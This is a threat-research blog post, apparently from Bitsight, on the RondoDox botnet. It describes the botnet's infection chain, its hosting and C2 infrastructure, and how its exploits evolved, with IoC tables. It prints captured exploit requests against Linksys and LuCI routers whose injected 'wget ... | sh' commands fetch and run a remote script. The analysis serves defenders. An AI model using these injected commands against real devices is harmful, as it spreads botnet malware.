RondoDox Botnet: From Zero to 174 Exploited Vulnerabilities

According to a 2024 report from IoT Analytics, there were 16.6 billion Internet of Things (IoT) connected devices at the end of 2023, and that number is expected to grow to 41.1 billion by 2030. This means an increased attack surface for malicious actors to take advantage of, especially given that the security posture of the vendors that provide these devices varies greatly. Previous research from Bitsight TRACE has exposed security risks stemming from IoT devices, including ICS and OT systems, IoT cameras, and threats like RapperBot.

This expanding attack surface extends well beyond IoT devices. Any internet-exposed service introduces risk, and data from Groma Explorer shows more than 900 million exposed services observed over a 30 day period. In this environment, it’s not surprising to see new threats entering the landscape and trying to take advantage of exposed and vulnerable devices.

One threat that has been making noise recently due to its large repertoire of exploits is the RondoDox botnet. We initially observed this threat in May 2025 and started following its behavior when we noticed the high volume of traffic it was generating in our honeypots (Fig. 1).

This post (the first in a two-part series) will look at how RondoDox is scanning and exploiting internet exposed devices and how threat actor methodology has been evolving since it was first observed in May 2025, including the exploits we’ve observed, a timeline of their usage and adoption, and details about their infrastructure and its characteristics.

Key takeaways

• Implementation of 174 different exploits, a largely uncommon number for these types of threats.
• Peaked at 15,000 exploitation attempts in a single day
• Likely usage of compromised residential IPs as hosting infrastructure
• Threat actors follow vulnerability disclosure, with exploits being used before CVEs are published
• Change in exploit methodology from shotgun approach to more targeted and recent vulnerabilities
• Usage of blacklisting logic to validate access in hosting infrastructure

Infection chain

This threat, like many others that came before it, shares a lot of commonalities with Mirai (which is not surprising, given Mirai’s source code is open source). Because of this, it’s common to see this threat being detected as a Mirai variant, and any analysis of the malware’s binaries will give déjà vu vibes. The main differentiator between RondoDox and Mirai is that, unlike Mirai, this malware’s sole purpose is to execute DoS attacks, while Mirai is not only capable of doing DoS attacks but also scan and exploit other systems.

We’ll not go into specific details about the malware and its behavior because that will be shared in the next post, and also because we’ll be presenting the entirety of this research at BotConf 2026. But nonetheless, to better contextualize the reader, we’ll provide a summary of the infection chain and a short description of the malware.

As the threat actors' infrastructure scans the internet for vulnerable devices, they aim to exploit RCE vulnerabilities that allow them to fetch and execute a shell script. An example of such an exploit can be seen below, which targets an unauthenticated remote code execution in Linksys.

POST /tmUnblock.cgi HTTP/1.1
Host: <REDACTED>:8080
User-Agent: Mozilla/5.0 ([email protected])
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 170

submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `busybox wget -qO- http://<RONDO INFRA>/rondo.jbt.sh|sh`&StartEPI=1

The payloads we’ve observed always prevent the initial implant to be written to disk, piping the output of one command into another. This initial implant can be divided into four main steps:

1. Hinder detection and analysis
2. Attempt to remove other malware
3. Find a writable directory to drop the main binary
4. Fetch the correct binary for the architecture and run it

Following a successful execution of the shell script, the main binary is spawn with an argument that is used to indicate which vulnerability was exploited and what architecture it’s running on, with the format “<vuln>.<arch>” This works by having the script trying to sequentially download the binary for each architecture until one works. The previous snippet would have the vulnerability set to “linksys” and the architecture would depend on the system; an example of the argument would be linksys.mipsel for this vulnerability in a MIPSel architecture. At the time of writing, they supported 18 architectures: x86_64, i686, i586, i486, armv6l, armv5l, armv4l, armv7l, powerpc, powerpc-440fp, mips, mipsel, arc700, sh4, sparc, m68k, armeb, armbhf.

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis. It then attempts to remove other threats, both by checking specific file locations and by removing entries from the victim's crontabs. At this point it will also set up its own persistence and drop and launch the XMRig miner (a feature that we’ll go into more detail in the next post). Finally, the malware will connect to one of the hardcoded C2s and wait for commands. A detailed technical analysis of the binary will be provided in the next post.

Infrastructure details

The infrastructure that supports the exploitation, distribution, and management of the botnet is one of the most, if not the most, important pieces of the RondoDox operation, which is why we've dedicated an entire post about it. In this section we’ll dig into some of the infrastructure details we’ve gathered throughout the research.

We’ve identified infrastructure belonging to RondoDox based on the payloads, which include specific indicators of RondoDox’s activity. One of such indicators is the usage of the name “rondo” in the scripts, and another one is the usage of specific email addresses in the User-Agent header, both exemplified below.

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=`wget -qO- 
http://<RONDO INFRA>/rondo.zqq.sh|sh` HTTP/1.1
User-Agent: Mozilla/5.0 ([email protected])
Host: <REDACTED>
Connection: close
Accept: */*

Using the data from our honeypots and the previously shown indicators, we’ve extracted the exploitation and hosting infrastructure for the time period between May 25, 2025 (the first observation of RondoDox activity) and February 16, 2026 (our cutoff date for this research), and plotted the timeline in Fig. 2 below, where IPs in orange represent exploiting infrastructure and IPs in blue represent hosting infrastructure. We identified a total of 32 IP addresses, 16 for each type of infrastructure.

We’ve used the previously mentioned indicators to extract the activity, but it’s worth noting that we saw activity from the exploiting IPs that do not appear to be related to RondoDox, and consequently was not mapped in this timeline.

We can note multiple things from the timeline: there are interruptions in the activity throughout the monitored period, which are not always related to a change in infrastructure; there’s no 1:1 mapping of exploiting and hosting infrastructure, meaning that the same hosting IP is used in multiple exploiting IPs; and furthermore we can also see that only one hosting IP is used at a time, while the same does not always happen for exploiting IPs, as we can see in late July 2025 and mid October 2025.

One very relevant note is that we’ve mentioned that the first observation of exploitation is from May 25, 2025, but the bars are not visible in the timeline. This is because those first exploitation attempts lasted 12 minutes and then stopped until June 4, 2025. The reason it stopped was because the payloads being sent were invalid, which the operators likely noticed and stopped exploiting until they were able to fix the issue.

If we look at the autonomous systems for both the exploiting and hosting infrastructure, an interesting pattern emerges. The table below shows the IPs used as exploitation infrastructure, where we can see that all of them belong to hosting providers and all accept crypto as payment. One of these providers is particularly interesting: 1337 Services GmbH, which is known as StarkRDP and rdp[.]sh and potentially x1337[.]cc.

IP	ASN	Company	Country
45.135.194[.]34	AS51396	Pfcloud UG	Germany
45.135.194[.]11	AS51396	Pfcloud UG	Germany
87.121.84[.]31	AS215925	VPSVAULT.HOST LTD	Netherlands
87.121.84[.]132	AS215925	VPSVAULT.HOST LTD	Netherlands
87.121.84[.]75	AS215925	VPSVAULT.HOST LTD	Netherlands
45.156.87[.]165	AS51396	Pfcloud UG	Netherlands
192.253.248[.]5	AS213790	Secure Internet LLC	Netherlands
45.88.186[.]32	AS210558	1337 Services GmbH	United States
45.88.186[.]85	AS210558	1337 Services GmbH	United States
45.153.34[.]156	AS51396	Pfcloud UG	Netherlands
124.198.131[.]83	AS210558	1337 Services GmbH	United States
45.135.194[.]32	AS51396	Pfcloud UG	Netherlands
193.26.115[.]195	AS210558	1337 Services GmbH	United States
192.159.99[.]95	AS210558	1337 Services GmbH	United States
45.94.31[.]201	AS210558	1337 Services GmbH	Netherlands
193.26.115[.]178	AS210558	1337 Services GmbH	United States

If we now compare with the hosting infrastructure, shown in the table below, we can see the majority of the IPs belong to ISPs, with the exception of AS207713, AS17561, AS210558, AS209847 and AS202468, highlighted in bold. We don’t publish these ISPs to denigrate them, as it’s likely that it’s their customers who are falling victim to the botnet and are unknowingly providing the infrastructure for RondoDox, but rather to point out this particular strategy by the threat actors.

IP	ASN	Company	Country
14.103.145[.]202	AS4811	Beijing Volcano Engine Technology Co., Ltd.	China
78.153.149[.]90	AS207713	GLOBAL INTERNET SOLUTIONS LLC	Russia
154.91.254[.]95	AS17561	Cloud Innovation Ltd	Brazil
14.103.145[.]211	AS4811	Beijing Volcano Engine Technology Co., Ltd.	China
45.8.145[.]203	AS209847	WorkTitans B.V.	Netherlands
37.32.15[.]8	AS202468	AbrArvan IaaS	Iran
169.255.72[.]169	AS327829	SKYTIC TELECOM	Republic of the Congo
38.59.219[.]27	AS4226	Sumofiber	United States
192.183.232[.]142	AS5650	Frontier Communications of America, Inc.	United States
83.252.42[.]112	AS1257	Tele2 Sverige AB	Sweden
99.241.94[.]234	AS812	Rogers Communications Canada Inc.	Canada
74.194.191[.]52	AS19108	Optimum	United States
70.184.13[.]47	AS22773	Cox Communications Inc.	United States
23.228.188[.]126	AS16591	Google Fiber Inc.	United States
41.231.37[.]153	AS2609	ATI - Agence Tunisienne Internet	Tunisia
45.92.1[.]50	AS210558	1337 Services GmbH	Netherlands

We started monitoring the hosting infrastructure more closely in October 2025, and we noticed that an IP was exposing a UniFi Protect interface. But the interface was not always available; we would either be able to reach the interface or RondoDox’s hosting server. We found this behavior rather suspicious and started questioning if this system was compromised by RondoDox’s operators.

To try and find some validation to this theory, we used Bitsight’s Groma dataset to check exposed services on the residential IPs. Out of 11 residential IPs, four of them were at some point exposing services which we suspect could be compromised: two IPs had a Control4 interface exposed, one had a TCL Android TV webserver exposed, and the one we previously mentioned had the UniFi Protect interface exposed.

Although we could not confirm our suspicions, the usage of residential IPs that were exposing services that are susceptible of being compromised, together with the specific behaviour we’ve observed in October 2025, make us believe these are likely compromised systems.

During our investigation of the hosting infrastructure, we also noticed that their usage of a blacklisting capability makes getting the initial implant and malware harder. When an IP is blacklisted the webserver returns a webpage that plays a video in the background and shows an email and a “Download” button (Fig. 3 below). When clicked the button simply unmutes the video.

To close the infrastructure section we’ll look at the final piece: the C2 IPs used to control the bots. In Fig. 4 below we’ve plotted the timeline of the IPs we observed during the research period. These IPs were extracted from the malware samples, and unlike the previous infrastructure where we could see IP activity directly in our honeypots, for the C2s we had to obtain samples and then extract the IPs. Because of this the dates where the infrastructure changes might not correspond exactly to when the operators changed it.

The first obvious note is that we’ve only observed four different IPs being used as C2, which is not surprising given that these IPs are used exclusively by the infected machines. Additionally, because they’re encrypted in the samples, it requires a more active analysis to obtain. We can easily confirm that these IPs are not considered suspicious by looking at the VT detections that show no single IP has over nine detections.

One other relevant note about this timeline is that the first sample we’ve observed belonging to RondoDox is from early May 2025, which contrasts with our first observations in the honeypots that are from late May 2025.

Below we’ve included a table with the IPs and the corresponding ASN and Company, which we can see belong to hosting providers.

IP	ASN	Company
135.148.68[.]54	AS16276	OVH SAS
83.150.218[.]93	AS199415	Association YORKHOST
45.94.31[.]89	AS210558	1337 Services GmbH
45.125.66[.]100	AS133398	Serveroffer

Threat evolution

To better understand the evolution of this threat we mapped our honeypot observations into vulnerabilities based on the exploits we were receiving. Where possible we tried to map the exploit to specific CVEs, but in some cases we were not able to identify the exploit, and in some other cases there was no assigned CVE that we could map.

The operators of RondoDox have been using a shotgun approach, where they send multiple exploits to the same endpoint, hoping for one to work. In Fig. 5 below we can see an example of this, where the same source sends different exploits to the same target, all targeting very different vulnerabilities.

We gathered all these exploit attempts (identifiable by indicators like the User-Agent and script name previously mentioned) and identified 174 different vulnerabilities between May 25, 2025 and February 16, 2026. From these vulnerabilities we were able to map 148 CVEs, 15 with a public PoC but no CVE, and 11 where we were not able to find any public PoC. In our GitHub (linked at the end of this post) we provide a list with all the CVEs and the exploits used.

To better understand how these vulnerabilities were used throughout time, we plotted a timeline of when each vulnerability was seen being used (Fig. 6). We can note how the number of vulnerabilities fluctuates, indicating that they add and remove vulnerabilities instead of solely adding new vulnerabilities. It’s also important to note that since the beginning of 2026 the number of used vulnerabilities decreased significantly, showing the threat actors are likely focusing on specific vulnerabilities that can potentially lead to more infections.

We can note the evolution of the threat in terms of used vulnerabilities, where initially the number of used vulnerabilities was low, after which it started increasing up to a maximum of 49 used vulnerabilities in a single day (October 19, 2025). It then stabilized around 40 vulnerabilities and then finally, as previously stated, hit a big cut-off in the beginning of 2026.

When examining how often each vulnerability was used, a clear long-tail trend emerges. While the average vulnerability was used for 18 days, nearly half of the 174 vulnerabilities identified (84, or 48%) were exploited for just a single day. This suggests that they try vulnerabilities and act based on the success rate of each.

In Fig. 7 below we plotted a timeline for vulnerabilities that were used more than 5 days during our observation period. This timeline provides insights into how vulnerabilities are added and used. We can see that initially (June to mid July of 2025) the threat actors tried different vulnerabilities, but only around the end of July 2025 were they all enabled, albeit for a short period of time. This pattern repeats in mid August 2025 and then again in the beginning of September 2025, when we see multiple vulnerabilities being used for an extended period of time. This implementation of new vulnerabilities appears to change around the end of October and beginning of November 2025, where new vulnerabilities are introduced and just kept running.

The most radical change in our observations is in early January 2026, where we went from around 40 observed vulnerabilities down to only two. One of these vulnerabilities is CVE-2023-46604, which is not very interesting in itself, but the other one is CVE-2025-55182, aka React2Shell, which was disclosed on December 3, 2025 and added by the threat actors on December 6, 2025.

The fast addition of recently disclosed vulnerabilities is something that caught our attention, and by looking at some recent CVEs from 2025 we created the following table, showing the time between the vulnerability being disclosed and when it was added by the operators.

CVE	MITRE Published	First Observed Date
CVE-2025-47812	2025-07-10	2025-07-15
CVE-2025-24016	2025-02-10	2025-08-22
CVE-2025-32756	2025-05-13	2025-10-18
CVE-2025-20281	2025-06-25	2025-10-18
CVE-2025-52089	2025-07-11	2025-10-19
CVE-2025-57296	2025-09-19	2025-10-19
CVE-2025-24893	2025-02-20	2025-11-03
CVE-2025-48827	2025-05-27	2025-11-03
CVE-2025-62593	2025-11-26	2025-11-24
CVE-2025-55182	2025-12-03	2025-12-06
CVE-2025-37164	2025-07-10	2026-01-07

We can see how in most cases the operators trail the CVE disclosure date by multiple weeks, with the exception of CVE-2025-62593. This was exploited before the CVE was published, and this is justified because the PoC for the vulnerability was available before the published date, indicating that the operators are actively looking at publications related to vulnerabilities and not just following CVE disclosure.

This seems quite interesting and shows motivation by the threat actors, but at the same time, based on our observations, some of the exploits are not being used correctly. We first noticed this issue on the first exploit ever (which as previously mentioned lasted 12 minutes), where the payload was being sent as a JSON instead of form encoded.

Other examples of issues with exploits are in CVE-2025-47812 and CVE-2025-62593. In the first CVE, if we read the description by RCE Security we can see that in order to fully trigger the exploit it requires 2 requests: an initial POST with the payload, followed by a POST to trigger the exploit. In our honeypots we only see the first POST and not the second, which we’re not sure it relates to how our honeypots are responding and not triggering the second request, or if the operators wrongly implemented the exploit.

For CVE-2025-62593 there’s a similar issue in the implemented exploit. The advisory mentions that the authentication to critical endpoints is made by checking the User-Agent string for “Mozilla", which if present will return an HTTP code 405. The exploit used by RondoDox specifically sets the User-Agent to “Mozilla/5.0 (rondo2012@atomicmail[.]io)” which will render the exploit ineffective.

Following our observations, we suspect the threat actors might be adjusting their methodology regarding the addition of new exploits, and instead of using a large number of vulnerabilities, just focus on more recent disclosed vulnerabilities. At the same time we find it confusing that they have the motivation to stay up-to-date on new vulnerabilities, but appear to have issues implementing the vulnerabilities.

Addressing unsustained claims

While researching previous work related to the RondoDox botnet, we came across some claims we were not able to validate but deserve some attention to avoid misleading researchers and incident responders.

The “Loader-as-a-Service” claim

We saw a claim of the existence of a Loader-as-a-Service Infrastructure being used to distribute multiple payloads, including RondoDox. This claim was made based on the content of an exposed HTML page that showed multiple payloads, including RondoDox’s, and the assertion made is that these were logs of a backend panel used by threat actors.

When we encountered this information we were highly interested in the info it could provide and promptly searched Bitsight’s Groma dataset to find what was being displayed in that page. We found two IPs serving the alleged panel: the first (104.248.75[.]228) was already shared and we observed the exposed page from April to July; the second IP (which we won’t disclose for privacy reasons) was seen in late November with the same format, exemplified below in Fig. 8.

The content of the page repeats itself with the same format, always with the string “POST Data: Array”, followed by a timestamp and then multiple key-value pairs.

The claim asserts that each of the keys has a meaning related to the panel functionality, but by scrolling through the file we can observe a huge amount of different keys and values; intuitively it looks like a dump of a POST request. If we look at an identical request from our honeypots (shown below) we clearly see an exact match of the names and values between the page’s content (Fig. 8) and the POST arguments:

POST /tmUnblock.cgi HTTP/1.1
Host: <REDACTED>:8080
User-Agent: Mozilla/5.0 ([email protected])
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 169

submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `busybox wget -qO- http://<RONDO INFRA>/rondo.jbt.sh|sh`&StartEPI=1

We observe this pattern of the keys corresponding to POST arguments on multiple occasions where our honeypots saw the same payload as shown in the page.

We are confident this page simply logs POST requests and shows them in the page, not having any kind of malicious intent or functionality.

The “P2P infrastructure” claim

One other claim we’ve observed was the existence of a version 2 of the malware that evolved to use a distributed Command and Control (C2) infrastructure, showing resilience and evasiveness of the threat actors. The shared C2 IoCs for this new version are 74.194.191[.]52, 38.59.219[.]27 and 83.252.42[.]112, and the shared IoCs for the binary is 691e4ec280aaff33270f33a9bb48a3fc38e2bd91c7359e687e3f0bd682f20b54.

Regarding the C2 IoCs, these were not used as C2, but only to host the payloads (scripts and binaries). The table below shows when we observed the IPs being used:

IP	First Seen	Last Seen
38.59.219[.]27	2025-07-14	2025-07-25
83.252.42[.]112	2025-07-29	2025-08-02
74.194.191[.]52	2025-08-07	2025-11-29

These are all residential IPs and we agree with the claim made that they’re likely compromised hosts, but from our analysis of multiple samples of the malware, including the one shared in the IoCs, we never saw any evidence of P2P functionality present. As previously presented, all the IPs used as C2s are from hosting providers.

Conclusion

The threat landscape keeps changing at a rapid pace, with new threats like RondoDox making themselves notable for how they operate. In this post we tried to shed some light on this threat and how it has evolved from an infrastructure perspective, from the initial use of a large amount of vulnerabilities, to a change in methodology that focuses on critical vulnerabilities. We showed how they segment their infrastructure, and more importantly the likelihood of compromised systems being used to host their payloads.

There’s no one size fits all solution for protection from these threats, and it takes an ongoing effort to keep yourself protected. These threat actors capitalize on exposed and vulnerable systems to deploy their malware, which makes exposure management a must have to have the upper-hand against malicious actors.

IoCs

https://github.com/bitsight-research/threat_research/tree/main/rondodox

https://www.virustotal.com/gui/collection/ce6375a4077edaf2f83847e3cefd8eb9535da249806d3214b22a0d50891c7b4c